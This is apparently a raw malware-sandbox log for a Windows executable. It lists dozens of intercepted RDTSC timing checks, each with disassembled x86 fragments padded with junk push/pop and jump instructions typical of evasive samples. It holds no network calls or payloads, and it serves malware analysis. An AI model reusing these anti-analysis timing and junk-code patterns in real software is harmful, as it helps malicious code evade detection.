Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9F565C second address: 9F569C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD652h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F96486CD64Dh 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007F96486CD64Eh 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9F5818 second address: 9F5820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9F5972 second address: 9F5978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9F5978 second address: 9F597C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9FAEAE second address: 9FAED9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD64Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F96486CD64Ah 0x00000011 jmp 00007F96486CD64Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9FAED9 second address: 9FAEE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 983073 second address: 983077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 983077 second address: 98308D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F9648C33B48h 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 jl 00007F9648C33B36h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9FB837 second address: 9FB841 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F96486CD646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9FB841 second address: 9FB847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9FB847 second address: 9FB84B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9FBAF0 second address: 9FBAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9FBAF9 second address: 81C965 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F96486CD646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 718CAC34h 0x00000012 jmp 00007F96486CD657h 0x00000017 push dword ptr [ebp+122D1215h] 0x0000001d jne 00007F96486CD647h 0x00000023 call dword ptr [ebp+122D2E8Dh] 0x00000029 pushad 0x0000002a clc 0x0000002b xor dword ptr [ebp+122D35D1h], ebx 0x00000031 xor eax, eax 0x00000033 mov dword ptr [ebp+122D35D1h], eax 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d jns 00007F96486CD647h 0x00000043 mov dword ptr [ebp+122D28FBh], eax 0x00000049 pushad 0x0000004a or ebx, dword ptr [ebp+122D288Fh] 0x00000050 mov eax, ebx 0x00000052 popad 0x00000053 mov esi, 0000003Ch 0x00000058 jnc 00007F96486CD650h 0x0000005e add esi, dword ptr [esp+24h] 0x00000062 stc 0x00000063 lodsw 0x00000065 cld 0x00000066 mov dword ptr [ebp+122D2143h], ebx 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 pushad 0x00000071 mov bl, 77h 0x00000073 mov eax, 7687F087h 0x00000078 popad 0x00000079 mov ebx, dword ptr [esp+24h] 0x0000007d or dword ptr [ebp+122D35D1h], eax 0x00000083 push eax 0x00000084 push eax 0x00000085 push edx 0x00000086 pushad 0x00000087 push ecx 0x00000088 pop ecx 0x00000089 pushad 0x0000008a popad 0x0000008b popad 0x0000008c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A02BC0 second address: A02BD0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 984BF9 second address: 984BFF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 984BFF second address: 984C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F9648C33B36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A01EBD second address: A01EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A01EC5 second address: A01ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A01ECC second address: A01EE1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F96486CD648h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F96486CD646h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A021A7 second address: A021B1 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9648C33B52h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A021B1 second address: A021D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96486CD656h 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F96486CD64Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A021D9 second address: A021DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A02635 second address: A0263A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A0263A second address: A02649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F9648C33B36h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A028C2 second address: A028CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A028CA second address: A028D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A028D3 second address: A028D9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A028D9 second address: A028F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9648C33B3Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A028F0 second address: A028FA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F96486CD646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 995897 second address: 99589D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A0B442 second address: A0B452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jno 00007F96486CD646h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A0B452 second address: A0B457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D31CE second address: 9BA0AE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F96486CD646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F96486CD652h 0x00000011 jmp 00007F96486CD64Ch 0x00000016 popad 0x00000017 nop 0x00000018 xor edi, dword ptr [ebp+122D36C5h] 0x0000001e call dword ptr [ebp+122D1C40h] 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 jno 00007F96486CD646h 0x0000002f popad 0x00000030 jo 00007F96486CD659h 0x00000036 push edx 0x00000037 pop edx 0x00000038 jmp 00007F96486CD651h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D328A second address: 9D328F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D38FB second address: 9D390D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F96486CD646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F96486CD646h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D399F second address: 9D39A5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D3A6D second address: 9D3A72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D40AA second address: 9D4102 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007F9648C33B46h 0x00000012 mov dword ptr [ebp+122D3693h], esi 0x00000018 pop edx 0x00000019 push 0000001Eh 0x0000001b or edi, 01C4F91Bh 0x00000021 pushad 0x00000022 jne 00007F9648C33B3Ch 0x00000028 jnp 00007F9648C33B3Ch 0x0000002e popad 0x0000002f push eax 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D4102 second address: 9D4106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D4106 second address: 9D4110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D44BA second address: 9D44C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D44C0 second address: 9D44C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D44C5 second address: 9D4578 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD659h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F96486CD648h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov edi, ecx 0x00000028 lea eax, dword ptr [ebp+12489F82h] 0x0000002e mov edx, esi 0x00000030 push eax 0x00000031 jno 00007F96486CD661h 0x00000037 mov dword ptr [esp], eax 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007F96486CD648h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 0000001Ah 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 jnp 00007F96486CD64Ch 0x0000005a lea eax, dword ptr [ebp+12489F3Eh] 0x00000060 mov dword ptr [ebp+122D1C64h], edx 0x00000066 push eax 0x00000067 pushad 0x00000068 push edi 0x00000069 pushad 0x0000006a popad 0x0000006b pop edi 0x0000006c push ecx 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9D4578 second address: 9BABF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dx, cx 0x0000000c call dword ptr [ebp+122D245Bh] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007F9648C33B36h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 9BABF7 second address: 9BAC05 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F96486CD646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 98D006 second address: 98D012 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnp 00007F9648C33B36h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 98D012 second address: 98D03F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F96486CD64Ah 0x00000007 jl 00007F96486CD646h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F96486CD655h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: 98D03F second address: 98D08F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B44h 0x00000007 jbe 00007F9648C33B36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 jmp 00007F9648C33B46h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9648C33B45h 0x0000001e push edx 0x0000001f pop edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A14FCB second address: A14FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A14FCF second address: A15010 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9648C33B42h 0x00000007 jmp 00007F9648C33B47h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F9648C33B41h 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A13DE3 second address: A13DF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F96486CD648h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A13F41 second address: A13F50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9648C33B36h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A13F50 second address: A13F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A13F54 second address: A13F58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A14368 second address: A14383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F96486CD64Ch 0x00000008 push edi 0x00000009 pop edi 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A14383 second address: A14387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A144EF second address: A144F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A144F5 second address: A144FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A14A35 second address: A14A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jl 00007F96486CD646h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F96486CD64Dh 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F96486CD64Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A19763 second address: A19777 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F9648C33B42h 0x0000000c js 00007F9648C33B36h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A19777 second address: A1977B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1977B second address: A19788 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jg 00007F9648C33B36h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A19788 second address: A19791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A19DC4 second address: A19DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A19DD1 second address: A19DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F96486CD646h 0x0000000a pop esi 0x0000000b js 00007F96486CD65Bh 0x00000011 jmp 00007F96486CD64Fh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A19DF3 second address: A19DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A19DF7 second address: A19E01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F96486CD646h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A19FC6 second address: A19FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1A415 second address: A1A42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F96486CD646h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jnc 00007F96486CD648h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1A42A second address: A1A443 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9648C33B43h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1A443 second address: A1A46A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jmp 00007F96486CD64Ah 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 jmp 00007F96486CD64Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1A46A second address: A1A470 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1A470 second address: A1A47A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1A47A second address: A1A47E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1A5E2 second address: A1A5F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007F96486CD64Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1A5F0 second address: A1A5F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1A5F7 second address: A1A5FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1A5FD second address: A1A60D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jbe 00007F9648C33B36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1C826 second address: A1C835 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F96486CD646h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A1C835 second address: A1C83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A21063 second address: A21086 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F96486CD659h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A21214 second address: A21218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8V0INSl0E2.exe	RDTSC instruction interceptor: First address: A23C69 second address: A23C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F96486CD64Dh 0x00000009 rdtsc
